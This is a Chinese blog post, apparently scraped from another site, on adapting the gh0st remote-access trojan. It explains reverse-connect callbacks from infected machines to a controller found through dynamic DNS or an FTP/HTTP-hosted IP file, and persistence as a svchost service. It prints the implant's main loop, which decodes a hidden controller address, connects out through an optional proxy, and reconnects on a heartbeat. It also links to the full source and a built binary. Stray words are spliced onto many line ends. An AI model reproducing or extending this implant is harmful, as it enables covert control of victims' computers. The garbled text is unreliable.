遠控學習編寫 gh0st

 前一段時間接到個私活,幫人開發 培訓機構的學員管理系統,實現學生上線,自動通知老師,老師能夠對學員的電腦進行屏幕分享和遠程操做  . 接到活以後,感受就是 遠控系統,在此基礎上增長一些學員管理的功能.  爲了快速開發,就打算在 最流行gh0st 項目上進行完善 .   c++

準備 :  gh0st 項目,   編譯環境: visual stdio2015    c++編程

gh0st項目是在vc6.0環境編譯,爲了適應後期功能添加,改爲了 visual stdio2015 環境編譯 .服務器

爲了詳細瞭解網絡編程 iocp 反彈鏈接  看了 "51cto 遠程控制視屏"  還有 "老狼的ghost教學視屏" ,也建議對網絡編程感興趣的同窗去看看網絡

 下載鏈接以下:架構

老狼視屏: https://pan.baidu.com/s/1v6Ir2_6eKepQjRmx_38mWQapp

源碼與成品: 連接:https://pan.baidu.com/s/11Or6WJp-I1i0JHtAyv89-Q
socket

提取碼:聯繫  qq: 70583079   函數

 

 好了下面直接上乾貨:gh0st是什麼,大概原理是什麼。ui

    gh0st是一款基於C/S架構的遠程管理軟件(我只是就事論事,不想討論C/S架構過期或不過期)。所謂遠程管理,就是我在個人電腦上經過一些手段,能夠操做其餘電腦。什麼是C/S架構,C表示Client,S表示Server,也就是客戶端和服務端的意思。能夠這樣理解C/S,如今有兩臺電腦,一臺是Server,一臺是Client,server電腦就會開啓一個端口,並一直監聽這個端口中的信息。client來鏈接這個端口,鏈接成功後,兩臺機器就能互相發送信息了。(具體的原理建議你們去看socket通訊)google

    gh0st用的是C/S架構中的反向鏈接。我用主控端和被控端來稱呼黑客的電腦和肉雞的電腦。反向鏈接的意思就是我主控端做爲server,被控端做爲client,主控端監聽一個固定的端口,並有一個固定的IP。而後被控端來鏈接這個IP的該端口,這就是所謂的上線。

    在實際狀況中,黑客的電腦並非都有固定的IP,我在咱們寢室使用的是一個路由器,因而個人IP只是內網IP,192.168.x.x。並且,若是我換一個地方上網,IP也會變。這樣個人被控端是找不到個人IP的。因此不少遠控對待該問題,有兩個解決方案:

    1.DNS上線

    花生殼、3322提供了免費的動態域名服務,其實就是提供了DNS服務。咱們把本身的IP綁定到DNS服務器上,被控端經過對DNS的解析,找到主控端的IP,再鏈接。下次換地方上網了,只須要更改本身綁定到DNS上的IP便可。

    2.FTP(HTTP)上線

    咱們把本身的IP寫入一個文本文件1.txt,放在ftp(http)服務器上,好比ftp://leavesongs.com/1.txt。被控端去下載該txt,在其中找到主控端的IP。再鏈接。

    固然gh0st對他們都是支持的。

    再講講gh0st這個軟件的組成。老狼給的gh0st最終編譯好就是一個exe文件,點擊打開後是一個主控端的樣子:

    20130510_173103.jpg

    在build選項卡中,填好相關信息,能夠生成一個exe文件,這就是所謂的被控端。

    可是咱們打開源碼看,其實它是主要由三個部分組成,一是帶界面的主控端,一個是動態連接庫dll,一個是加載dll的exe。咱們被控端的全部功能都是寫在dll當中的。而並非寫在exe文件中。

 

    大局觀大概就是這些。再說一下gh0st核心內容。

    在傳輸數據方面,主控端使用IOCP模型,關於該模型請google。在主控端中,由CIOCPServer類實現。在被控端中,數據傳輸使用CClientSocket類實現。數據傳輸是遠控的核心,因此這兩個類也就成了gh0st的核心類。固然,在傳輸過程當中,gh0st使用zlib進行壓縮,減少數據包的大小。

    在被控端管理方面,gh0st使用了一個很好的方案。先作了一個CManager類,做爲全部管理功能的基類,其餘的好比系統管理類CSystenManager就繼承了CManager。大大地增長了代碼的重用性。

    在主控端方面,有這樣一個回調函數NotifyProc,全部被控端發來的消息,都會通過此函數,在該函數中使用switch語句,處理各個消息。使得代碼看起來層次分明。

    在穩定性方面,被控端宿主爲svchost以系統服務啓動,並有守護線程,用心跳包機制防止之外掉線。

 

 

 

 

 

 

 

 

 服務端代碼: 

// svchost.cpp : Defines the entry point for the console application.
//

#include "ClientSocket.h"
#include "common/KernelManager.h"
#include "common/KeyboardManager.h"
#include "common/login.h"
#include "common/install.h"
#include "common/until.h"

enum
{
    NOT_CONNECT, //  尚未鏈接
    GETLOGINFO_ERROR,
    CONNECT_ERROR,
    HEARTBEATTIMEOUT_ERROR
};

#define        HEART_BEAT_TIME        1000 * 60 * 3 // 心跳時間
 
char    svcname[MAX_PATH];

LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
 
    return 0;
}
// 必定要足夠長

int main()
{
    return 0;
}

int WINAPI WinMain(  HINSTANCE hInstance,  
                     HINSTANCE hPrevInstance, 
                     LPSTR lpCmdLine,   int nShowCmd )
{
    CKeyboardManager::g_hInstance = (HINSTANCE)hInstance;
    CKeyboardManager::m_dwLastMsgTime = GetTickCount();
    CKeyboardManager::Initialization();

    // lpServiceName,在ServiceMain返回後就沒有了
    char    strServiceName[256];
    char    strKillEvent[50];
    HANDLE    hInstallMutex = NULL;

    char    *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "AAAAAA");
    if (lpURL == NULL)
    {
        return -1;
    }

    //////////////////////////////////////////////////////////////////////////
    // Set Window Station
    HWINSTA hOldStation = GetProcessWindowStation();
    HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
    if (hWinSta != NULL)
        SetProcessWindowStation(hWinSta);
    //
    //////////////////////////////////////////////////////////////////////////


    if (CKeyboardManager::g_hInstance != NULL)
    {
        SetUnhandledExceptionFilter(bad_exception);

        wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 隨機事件名

        hInstallMutex = CreateMutex(NULL, true, lpURL);

    }

    // 告訴操做系統:若是沒有找到CD/floppy disc,不要彈窗口嚇人
    SetErrorMode( SEM_FAILCRITICALERRORS);

    char    *lpszHost = NULL;
    DWORD    dwPort = 80;
    char    *lpszProxyHost = NULL;
    DWORD    dwProxyPort = 0;
    char    *lpszProxyUser = NULL;
    char    *lpszProxyPass = NULL;

    HANDLE    hEvent = NULL;

    CClientSocket socketClient;
    BYTE    bBreakError = NOT_CONNECT; // 斷開鏈接的緣由,初始化爲尚未鏈接
    while (1)
    {
        // 若是不是心跳超時,不用再sleep兩分鐘
        if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
        {
            // 2分鐘斷線重連, 爲了儘快響應killevent
            for (int i = 0; i < 2000; i++)
            {
                hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
                if (hEvent != NULL)
                {
                    socketClient.Disconnect();
                    CloseHandle(hEvent);
                    break;
                }
                // 改一下
                Sleep(60);
            }
        }

        // 上線間隔爲2分, 前6個'A'是標誌
        if (!getLoginInfo(MyDecode(lpURL + 6), &lpszHost, &dwPort, &lpszProxyHost, 
            &dwProxyPort, &lpszProxyUser, &lpszProxyPass))
        {
            bBreakError = GETLOGINFO_ERROR;
            continue;
        }

        if (lpszProxyHost != NULL)
            socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
        else
            socketClient.setGlobalProxyOption();

        DWORD dwTickCount = GetTickCount();
        if (!socketClient.Connect(lpszHost, dwPort))
        {
            bBreakError = CONNECT_ERROR;
            continue;
        }
        // 登陸
        DWORD dwExitCode = SOCKET_ERROR;
        sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);

        CKernelManager    manager(&socketClient , strKillEvent, lpszHost, dwPort);
        socketClient.setManagerCallBack(&manager);

        //////////////////////////////////////////////////////////////////////////
        // 等待控制端發送激活命令,超時爲10秒,從新鏈接,以防鏈接錯誤
        for (int i = 0; (i < 10 && !manager.IsActived()); i++)
        {
            Sleep(1000);
        }
        // 10秒後尚未收到控制端發來的激活命令,說明對方不是控制端,從新鏈接
        if (!manager.IsActived())
            continue;

        //////////////////////////////////////////////////////////////////////////

        DWORD    dwIOCPEvent;
        dwTickCount = GetTickCount();

        do
        {
            hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
            dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
            Sleep(500);
        } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);

        if (hEvent != NULL)
        {
            socketClient.Disconnect();
            CloseHandle(hEvent);
            break;
        }
    }


    return 0;
}
相關文章
相關標籤/搜索